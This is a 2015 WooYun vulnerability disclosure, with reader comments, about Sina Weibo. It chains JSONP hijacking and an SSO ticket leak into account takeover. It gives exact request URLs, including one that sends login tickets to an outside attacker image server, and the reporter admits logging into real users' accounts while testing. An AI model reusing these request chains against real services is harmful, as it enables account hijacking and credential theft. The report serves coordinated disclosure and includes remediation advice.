微博上你点我发的链接我就可以登上你的微博(web版和app端均可两个漏洞一并提交)

编号124352
Urlhttp://www.wooyun.org/bug.php?action=view&id=124352
漏洞状态厂商已经确认
漏洞标题微博上你点我发的链接我就可以登上你的微博(web版和app端均可两个漏洞一并提交)
漏洞类型设计缺陷/逻辑错误
厂商新浪
白帽子呆子不开口
提交日期2015-07-03 16:23:00
公开日期2015-08-17 16:54:00
修复时间(not set)
确认时间2015-07-03 00:00:00
Confirm Spend0
漏洞标签认证设计不合理
关注数0
收藏数0
白帽评级
白帽自评rank20
厂商评级
厂商评rank15
漏洞简介
微博上你点我发的链接,我就可以登上你的微博,web版和app端均可,两个漏洞一并提交了
漏洞细节

1、web版本的jsonp劫持漏洞:
有jsonp劫持漏洞,未加token保护或referrer防护,导致登陆凭证可以被劫持盗取
请求如下:

http://passport.weibo.com/visitor/visitor?a=restore&cb=?&from=weibo&_rand=0.7968236310407519


返回为:

window.jQuery20004128351090475917_1435908276616 && jQuery20004128351090475917_1435908276616({"retcode":20000000,"msg":"succ","data":{"sub":"_2A254kkjiDeTxGedP6FYQ9yfLy12837j0qrDV8PUNbuNAMLW3bkW-T5Tf4xIGwbw1ENJOXIY7s81RMuA..","subp":"0033Wr111111M725Ws9jqgMF99529P9D9W5Yup4wVFUgexyDVsUXQXzc5JpX5K2t","alt":"ALT-M1111113OTcxMA==-1435908274-ja-8ACAC8646F99BDFA2921F77870850A34","savestate":365}});


里面的返回值alt可以用作登陆凭证,我扶了扶镜框,发现用如下URL可以登陆到目标用户的微博

http://login.sina.com.cn/sso/login.php?entry=sso&alt=ALT-MTEz111111cxMA==-1435908274-ja-8ACAC8646F99BD111111F77870850A34&returntype=META&url=http%3A%2F%2Fweibo.com%2F&gateway=1&savestate=365


里面的sub,subp值应该是认证的cookie值,应该也可以拿来利用
2、微博app版的一些导致登陆凭证被盗的“小漏洞”
当手机端访问如下请求时,系统会把当前sina.com.cn域下的ticket传给参数r中的url,r的值需要是weibo和新浪域

http://passport.weibo.cn/sso/getst?r=http%3A%2F%2Fservice.weibo.com%2Fshare%2Fshare.php%3Furl%3D%26source%3Dbookmark%26title%3D分享网络超时,请重新分享%26appkey%3D%257B-1%257D%26pic%3Dhttp%3A%2F%2F111.111.111.111%2Ftest%2Fimg.php&service=blog


上面的请求会返回302跳转到参数r中的url值,而且会加上一个参数ticket

Location: http://service.weibo.com/share/share.php?url=&source=bookmark&title=分享网络超时,请重新分享&appkey=%7B-1%7D&pic=http://111.111.111.111/test/img.php&ticket=ST-MTEzNDE3OTcxMA==-1435909414-gz-B57537411111111F64108F5B681E7F77


然后我们要做的就是拿到这个url中的参数ticket就可以了
由于是新浪或微博域,不能受我们控制,所以我们可以找一个可以让我们自定义img或者iframe的新浪页面来偷
我扶了扶镜框,发现了一个,是微博分享页面,里面的pic参数可以让我们自定义图片地址

http://service.weibo.com/share/share.php?url=&source=bookmark&title=%E5%88%86%E4%BA%AB%E7%BD%91%E7%BB%9C%E8%B6%85%E6%97%B6%EF%BC%8C%E8%AF%B7%E9%87%8D%E6%96%B0%E5%88%86%E4%BA%AB&appkey=%7B-1%7D&pic=http://192.241.226.89/test/wbimg.php


这样从我们的自定义的图片请求的referrer中拿到这个ticket
然后找一个能接受ticket的页面来帮我们种下sina.com.cn的认证cookie
扶了扶镜框,发现一个

http://c.blog.sina.com.cn/mobilecblog.php?ticket=ST-MTEzNDE3OTcxMA==-1435910399-gz-92197ADE4256E1111112D7A4F3469E3


这个时候还不可以登陆微博,但我扶了扶镜框,发现访问如下url,可以帮我们成功登陆微博

http://login.sina.com.cn/sso/login.php?url=http%3A%2F%2Fweibo.com%2F&_rand=1435226672.7914&gateway=1&service=sinawap&entry=sinawap&useticket=1&returntype=META&_client_version=0.6.11


这一系列的不合理设计的“小漏洞”,让我最终可以登陆进了别人的微博

POC

我测试了几天,进了些TFboys粉丝的微博

439a357egw1ethzuyy3uej20eg0futbn.jpg


修复方案

1.jsonp那个,加token或referrer限制
2.认证传输过程中,尽量不要使用get来传输凭证,很容易被各种方式偷去。你不能保证你的所有域都不往第三方发请求
3.让偷到的ticket尽量不能在其他设备上登陆成功,对用户的一些信息进行签名

状态信息 2015-07-03: 细节已通知厂商并且等待厂商处理中
2015-07-03: 厂商已经确认,细节仅向厂商公开
2015-07-13: 细节向核心白帽子及相关领域专家公开
2015-07-23: 细节向普通白帽子公开
2015-08-02: 细节向实习白帽子公开
2015-08-17: 细节向公众公开
厂商回复感谢关注新浪安全,安全问题修复中。
回应信息危害等级:高漏洞Rank:15 确认时间:2015-07-03 16:52
Showing 1-35 of 35 items.
评论内容评论人点赞数评论时间

眼镜我准备买了!

刘海哥02015-08-18 23:06:00

妈妈问我为什么跪着看乌云……

野驴~02015-08-18 16:12:00

我们家马桶堵了,谁知道掏粪男孩的电话?在线等,挺急的[doge]

Annabelle02015-08-17 18:37:00

最后眼镜框掉了没有

scanf02015-08-17 18:16:00

我扶了扶镜框觉嘚你是我偶像!

hkAssassin02015-08-06 13:12:00

现在的都那么牛,唉,跟不上时代了

wefgod02015-07-15 12:19:00

牛逼

milan02015-07-15 11:44:00

给我来个镜框扶一扶

鸟云厂商02015-07-14 00:22:00

眼镜哪买的好屌

niliu02015-07-13 18:26:00

666

屎蛋02015-07-06 11:25:00

不会又是二维码吧

小龙02015-07-04 00:13:00

伟哥又猥琐了。。。

疯狂的dabing02015-07-03 23:50:00

我以为回到了2014年...

一只船北街02015-07-03 22:07:00

再一次?

子非海绵宝宝02015-07-03 21:05:00

NB!

秋风02015-07-03 19:50:00

请收下我的膝盖

sutdy02015-07-03 18:37:00

偶像

Bear baby02015-07-03 18:21:00

大屌

Mieless02015-07-03 17:53:00

@secer 什么意思,别人也有这个洞?

呆子不开口02015-07-03 17:35:00

屌屌屌

进击的zjx02015-07-03 17:32:00

发个链接我看看

甲鱼02015-07-03 17:16:00

前排

cmyk02015-07-03 17:06:00

发个链接我看看

大大灰狼02015-07-03 16:57:00

好文艺

xtnnd02015-07-03 16:42:00

有点吊

Jumbo02015-07-03 16:41:00

赶紧公开啊。

loli02015-07-03 16:38:00

留名

浅蓝02015-07-03 16:37:00

我去。。。。闪电侠

咸鱼翻身02015-07-03 16:35:00

@呆子不开口 因其中一个经典的漏洞给精华了,呆子教会了我应该如何耐心的分析业务也许,用心利用。

疯狗02015-07-03 16:34:00

@呆子不开口 快去点草老公

90Snake02015-07-03 16:32:00

昨晚某哥已中枪

secer02015-07-03 16:29:00

屌!

niliu02015-07-03 16:28:00

留名关注

fuzz-ing02015-07-03 16:28:00

火钳刘明

90Snake02015-07-03 16:27:00

呆子又扶眼镜框了

疯狗02015-07-03 16:27:00